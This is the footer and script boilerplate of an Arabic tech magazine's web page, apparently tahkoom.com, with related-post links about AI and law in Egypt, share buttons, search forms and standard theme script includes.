			<a aria-label="هل يصبح Chat GPT  محامي في المحاكم المصرية ؟" href="https://tahkoom.com/%d9%87%d9%84-%d9%8a%d8%b5%d8%a8%d8%ad-chat-gpt-%d9%85%d8%ad%d8%a7%d9%85%d9%8a-%d9%81%d9%8a-%d8%a7%d9%84%d9%85%d8%ad%d8%a7%d9%83%d9%85-%d8%a7%d9%84%d9%85%d8%b5%d8%b1%d9%8a%d8%a9/" class="post-thumb"><img width="390" height="220" src="https://tahkoom.com/wp-content/uploads/2025/05/WhatsApp-Image-2025-05-18-at-08.34.52_747e11e7-390x220.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="" decoding="async" /></a>						</div>
												<div class="widget-single-post-item tie-col-xs-4 tie-standard">
							
			<a aria-label="الذكاء الاصطناعي في مصر تطور بلا تشريع  فمن يتحمل المسؤولية؟" href="https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%81%d9%8a-%d9%85%d8%b5%d8%b1-%d8%aa%d8%b7%d9%88%d8%b1-%d8%a8%d9%84%d8%a7-%d8%aa%d8%b4%d8%b1%d9%8a%d8%b9/" class="post-thumb"><img width="390" height="220" src="https://tahkoom.com/wp-content/uploads/2025/06/WhatsApp-Image-2025-06-10-at-05.40.40_e67f50d5-390x220.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="" decoding="async" /></a>						</div>
												<div class="widget-single-post-item tie-col-xs-4 tie-standard">
							
			<a aria-label="طبيبك في جيبك لكن هل يشعر بنبضك" href="https://tahkoom.com/%d9%87%d9%84-%d9%8a%d8%ba%d9%86%d9%8a-%d8%a7%d9%84%d8%b7%d8%a8-%d8%b9%d9%86-%d8%a8%d8%b9%d8%af-%d8%b9%d9%86-%d8%a7%d9%84%d8%b9%d9%8a%d8%a7%d8%af%d8%a7%d8%aa-%d8%a7%d9%84%d8%aa%d9%82%d9%84%d9%8a%d8%af/" class="post-thumb"><img width="390" height="220" src="https://tahkoom.com/wp-content/uploads/2025/05/رلار-390x220.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="" decoding="async" /></a>						</div>
						</div></div></div><div class="clearfix"></div></div><!-- .widget /--><div id="author-bio-widget-1" class="container-wrapper widget aboutme-widget">
				<div class="about-author about-content-wrapper"><img alt="" src="https://placehold.it/599x98" style="margin-top: 15px; margin-bottom: 0px;"  class="about-author-img" width="280" height="47">

					<div class="aboutme-widget-content">
					</div>
					<div class="clearfix"></div>
			
				</div><!-- .about-widget-content -->
			<div class="clearfix"></div></div><!-- .widget /-->					</div><!-- .tie-col /-->
				
									<div class="tie-col-sm-4 normal-side">
						<div id="social-3" class="container-wrapper widget social-icons-widget"><div class="widget-title the-global-title has-block-head-4"><div class="the-subtitle">من نحن<span class="widget-title-icon tie-icon"></span></div></div><ul class="solid-social-icons"><li class="social-icons-item"><a class="social-link facebook-social-icon" rel="external noopener nofollow" target="_blank" href="https://www.facebook.com/share/1QKWyPHszc/?mibextid=wwXIfr"><span class="tie-social-icon tie-icon-facebook"></span><span class="screen-reader-text">فيسبوك</span></a></li><li class="social-icons-item"><a class="social-link instagram-social-icon" rel="external noopener nofollow" target="_blank" href="https://www.instagram.com/tahkom_?igsh=NGZzYjF0N3N3dWcy&#038;utm_source=qr"><span class="tie-social-icon tie-icon-instagram"></span><span class="screen-reader-text">انستقرام</span></a></li><li class="social-icons-item"><a class="social-link social-custom-link custom-link-1-social-icon" rel="external noopener nofollow" target="_blank" href="mailto:tahkoom@outlook.com"><span class="tie-social-icon fas fa-mail-bulk"></span><span class="screen-reader-text">البريد الالكتروني</span></a></li></ul> 
<div class="clearfix"></div><div class="clearfix"></div></div><!-- .widget /--><div id="author-bio-widget-2" class="container-wrapper widget aboutme-widget">
				<div class="about-author about-content-wrapper">

					<div class="aboutme-widget-content"><h4>لسنا مجرد مجلة تقنية… نحن مرآة لعصر تغيّرت فيه موازين السيطرة. </h4>
					</div>
					<div class="clearfix"></div>
			
				</div><!-- .about-widget-content -->
			<div class="clearfix"></div></div><!-- .widget /--><div id="tie-newsletter-1" class="container-wrapper widget subscribe-widget">
			<div class="widget-inner-wrap">

										<div id="mc_embed_signup-tie-newsletter-1">
							<form action="#" method="post" id="mc-embedded-subscribe-form-tie-newsletter-1" name="mc-embedded-subscribe-form" class="subscribe-form validate" target="_blank" novalidate>
									<div class="mc-field-group">
										<label class="screen-reader-text" for="mce-EMAIL-tie-newsletter-1">أدخل بريدك الإلكتروني</label>
										<input type="email" value="" id="mce-EMAIL-tie-newsletter-1" placeholder="أدخل بريدك الإلكتروني" name="EMAIL" class="subscribe-input required email">
									</div>
																		<input type="submit" value="إشترك" name="subscribe" class="button subscribe-submit">
							</form>
						</div>
						
			</div><!-- .widget-inner-wrap /-->

			<div class="clearfix"></div></div><!-- .widget /-->					</div><!-- .tie-col /-->
				
				
			</div><!-- .tie-row /-->
		</div><!-- .footer-widget-area /-->

						</div><!-- .container /-->
			</div><!-- #Footer-widgets-container /-->
			
			<div id="site-info" class="site-info site-info-layout-2">
				<div class="container">
					<div class="tie-row">
						<div class="tie-col-md-12">

							<div class="copyright-text copyright-text-first"><p>جميع الحقوق محفوظة لـ تحكم | <a href="https://www.3hand.net/">شركة تصميم مواقع</a> <a href="https://www.3hand.net/">ثري هاند</a></p></div><ul class="social-icons"><li class="social-icons-item"><a class="social-link facebook-social-icon" rel="external noopener nofollow" target="_blank" href="https://www.facebook.com/share/1QKWyPHszc/?mibextid=wwXIfr"><span class="tie-social-icon tie-icon-facebook"></span><span class="screen-reader-text">فيسبوك</span></a></li><li class="social-icons-item"><a class="social-link instagram-social-icon" rel="external noopener nofollow" target="_blank" href="https://www.instagram.com/tahkom_?igsh=NGZzYjF0N3N3dWcy&#038;utm_source=qr"><span class="tie-social-icon tie-icon-instagram"></span><span class="screen-reader-text">انستقرام</span></a></li><li class="social-icons-item"><a class="social-link social-custom-link custom-link-1-social-icon" rel="external noopener nofollow" target="_blank" href="mailto:tahkoom@outlook.com"><span class="tie-social-icon fas fa-mail-bulk"></span><span class="screen-reader-text">البريد الالكتروني</span></a></li></ul> 

						</div><!-- .tie-col /-->
					</div><!-- .tie-row /-->
				</div><!-- .container /-->
			</div><!-- #site-info /-->
			
</footer><!-- #footer /-->




		<div id="share-buttons-mobile" class="share-buttons share-buttons-mobile">
			<div class="share-links  icons-only">
				
				<a href="https://www.facebook.com/sharer.php?u=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="فيسبوك" target="_blank" class="facebook-share-btn " data-raw="https://www.facebook.com/sharer.php?u={post_link}">
					<span class="share-btn-icon tie-icon-facebook"></span> <span class="screen-reader-text">فيسبوك</span>
				</a>
				<a href="https://twitter.com/intent/tweet?text=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="‫X" target="_blank" class="twitter-share-btn " data-raw="https://twitter.com/intent/tweet?text={post_title}&amp;url={post_link}">
					<span class="share-btn-icon tie-icon-twitter"></span> <span class="screen-reader-text">‫X</span>
				</a>
				<a href="https://api.whatsapp.com/send?text=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F%20https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="واتساب" target="_blank" class="whatsapp-share-btn " data-raw="https://api.whatsapp.com/send?text={post_title}%20{post_link}">
					<span class="share-btn-icon tie-icon-whatsapp"></span> <span class="screen-reader-text">واتساب</span>
				</a>
				<a href="https://telegram.me/share/url?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&text=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="تيلقرام" target="_blank" class="telegram-share-btn " data-raw="https://telegram.me/share/url?url={post_link}&text={post_title}">
					<span class="share-btn-icon tie-icon-paper-plane"></span> <span class="screen-reader-text">تيلقرام</span>
				</a>
				<a href="viber://forward?text=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F%20https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="ڤايبر" target="_blank" class="viber-share-btn " data-raw="viber://forward?text={post_title}%20{post_link}">
					<span class="share-btn-icon tie-icon-phone"></span> <span class="screen-reader-text">ڤايبر</span>
				</a>			</div><!-- .share-links /-->
		</div><!-- .share-buttons /-->

		<div class="mobile-share-buttons-spacer"></div>
		<a id="go-to-top" class="go-to-top-button" href="#go-to-tie-body">
			<span class="tie-icon-angle-up"></span>
			<span class="screen-reader-text">زر الذهاب إلى الأعلى</span>
		</a>
	
		</div><!-- #tie-wrapper /-->

		
	<aside class=" side-aside normal-side dark-skin dark-widgetized-area is-fullwidth appear-from-right" aria-label="القائمة الجانبية الثانوية" style="visibility: hidden;">
		<div data-height="100%" class="side-aside-wrapper has-custom-scroll">

			<a href="#" class="close-side-aside remove big-btn">
				<span class="screen-reader-text">إغلاق</span>
			</a><!-- .close-side-aside /-->


			
				<div id="mobile-container">

											<div id="mobile-search">
							<form role="search" method="get" class="search-form" action="https://tahkoom.com/">
				<label>
					<span class="screen-reader-text">البحث عن:</span>
					<input type="search" class="search-field" placeholder="بحث &hellip;" value="" name="s" />
				</label>
				<input type="submit" class="search-submit" value="بحث" />
			</form>							</div><!-- #mobile-search /-->
						
					<div id="mobile-menu" class="hide-menu-icons">
											</div><!-- #mobile-menu /-->

											<div id="mobile-social-icons" class="social-icons-widget solid-social-icons">
							<ul><li class="social-icons-item"><a class="social-link facebook-social-icon" rel="external noopener nofollow" target="_blank" href="https://www.facebook.com/share/1QKWyPHszc/?mibextid=wwXIfr"><span class="tie-social-icon tie-icon-facebook"></span><span class="screen-reader-text">فيسبوك</span></a></li><li class="social-icons-item"><a class="social-link instagram-social-icon" rel="external noopener nofollow" target="_blank" href="https://www.instagram.com/tahkom_?igsh=NGZzYjF0N3N3dWcy&#038;utm_source=qr"><span class="tie-social-icon tie-icon-instagram"></span><span class="screen-reader-text">انستقرام</span></a></li><li class="social-icons-item"><a class="social-link social-custom-link custom-link-1-social-icon" rel="external noopener nofollow" target="_blank" href="mailto:tahkoom@outlook.com"><span class="tie-social-icon fas fa-mail-bulk"></span><span class="screen-reader-text">البريد الالكتروني</span></a></li></ul> 
						</div><!-- #mobile-social-icons /-->
						
				</div><!-- #mobile-container /-->
			

			
		</div><!-- .side-aside-wrapper /-->
	</aside><!-- .side-aside /-->

	
	</div><!-- #tie-container /-->
</div><!-- .background-overlay /-->

<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"\/*"},{"not":{"href_matches":["\/wp-*.php","\/wp-admin\/*","\/wp-content\/uploads\/*","\/wp-content\/*","\/wp-content\/plugins\/*","\/wp-content\/themes\/jannah\/*","\/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<div id="reading-position-indicator"></div><div id="autocomplete-suggestions" class="autocomplete-suggestions"></div><div id="is-scroller-outer"><div id="is-scroller"></div></div><div id="fb-root"></div>		<div id="tie-popup-search-desktop" class="tie-popup tie-popup-search-wrap" style="display: none;">
			<a href="#" class="tie-btn-close remove big-btn light-btn">
				<span class="screen-reader-text">إغلاق</span>
			</a>
			<div class="popup-search-wrap-inner">

				<div class="live-search-parent pop-up-live-search" data-skin="live-search-popup" aria-label="بحث">

										<form method="get" class="tie-popup-search-form" action="https://tahkoom.com/">
							<input class="tie-popup-search-input is-ajax-search" inputmode="search" type="text" name="s" title="بحث عن" autocomplete="off" placeholder="إكتب كلمة البحث ثم إضغط زر الإدخال" />
							<button class="tie-popup-search-submit" type="submit">
								<span class="tie-icon-search tie-search-icon" aria-hidden="true"></span>
								<span class="screen-reader-text">بحث عن</span>
							</button>
						</form>
						
				</div><!-- .pop-up-live-search /-->

			</div><!-- .popup-search-wrap-inner /-->
		</div><!-- .tie-popup-search-wrap /-->
				<div id="tie-popup-search-mobile" class="tie-popup tie-popup-search-wrap" style="display: none;">
			<a href="#" class="tie-btn-close remove big-btn light-btn">
				<span class="screen-reader-text">إغلاق</span>
			</a>
			<div class="popup-search-wrap-inner">

				<div class="live-search-parent pop-up-live-search" data-skin="live-search-popup" aria-label="بحث">

										<form method="get" class="tie-popup-search-form" action="https://tahkoom.com/">
							<input class="tie-popup-search-input " inputmode="search" type="text" name="s" title="بحث عن" autocomplete="off" placeholder="بحث عن" />
							<button class="tie-popup-search-submit" type="submit">
								<span class="tie-icon-search tie-search-icon" aria-hidden="true"></span>
								<span class="screen-reader-text">بحث عن</span>
							</button>
						</form>
						
				</div><!-- .pop-up-live-search /-->

			</div><!-- .popup-search-wrap-inner /-->
		</div><!-- .tie-popup-search-wrap /-->
		<script type="text/javascript" id="tie-scripts-js-extra">
/* <![CDATA[ */
var tie = {"is_rtl":"1","ajaxurl":"https:\/\/tahkoom.com\/wp-admin\/admin-ajax.php","is_side_aside_light":"","is_taqyeem_active":"","is_sticky_video":"1","mobile_menu_top":"","mobile_menu_active":"area_2","mobile_menu_parent":"","lightbox_all":"true","lightbox_gallery":"true","lightbox_skin":"dark","lightbox_thumb":"horizontal","lightbox_arrows":"true","is_singular":"1","autoload_posts":"","reading_indicator":"true","lazyload":"","select_share":"true","select_share_twitter":"true","select_share_facebook":"true","select_share_linkedin":"true","select_share_email":"","facebook_app_id":"5303202981","twitter_username":"","responsive_tables":"true","ad_blocker_detector":"","sticky_behavior":"upwards","sticky_desktop":"true","sticky_mobile":"true","sticky_mobile_behavior":"default","ajax_loader":"<div class=\"loader-overlay\"><div class=\"spinner-circle\"><\/div><\/div>","type_to_search":"1","lang_no_results":"\u0644\u0645 \u064a\u062a\u0645 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u0646\u062a\u0627\u0626\u062c","sticky_share_mobile":"true","sticky_share_post":"","sticky_share_post_menu":""};
/* ]]> */
</script>
<script type="text/javascript" src="https://tahkoom.com/wp-content/themes/jannah/assets/js/scripts.min.js?ver=7.3.8" id="tie-scripts-js"></script>
<script type="text/javascript" src="https://tahkoom.com/wp-content/themes/jannah/assets/ilightbox/lightbox.js?ver=7.3.8" id="tie-js-ilightbox-js"></script>
<script type="text/javascript" src="https://tahkoom.com/wp-content/themes/jannah/assets/js/desktop.min.js?ver=7.3.8" id="tie-js-desktop-js"></script>
<script type="text/javascript" src="https://tahkoom.com/wp-content/themes/jannah/assets/js/live-search.js?ver=7.3.8" id="tie-js-livesearch-js"></script>
<script type="text/javascript" src="https://tahkoom.com/wp-content/themes/jannah/assets/js/single.min.js?ver=7.3.8" id="tie-js-single-js"></script>
<script type="text/javascript" src="https://tahkoom.com/wp-includes/js/comment-reply.min.js?ver=6.8.3" id="comment-reply-js" async="async" data-wp-strategy="async"></script>
<script type="text/javascript" src="https://tahkoom.com/wp-content/themes/jannah/assets/js/br-news.js?ver=7.3.8" id="tie-js-breaking-js"></script>

</body>
</html>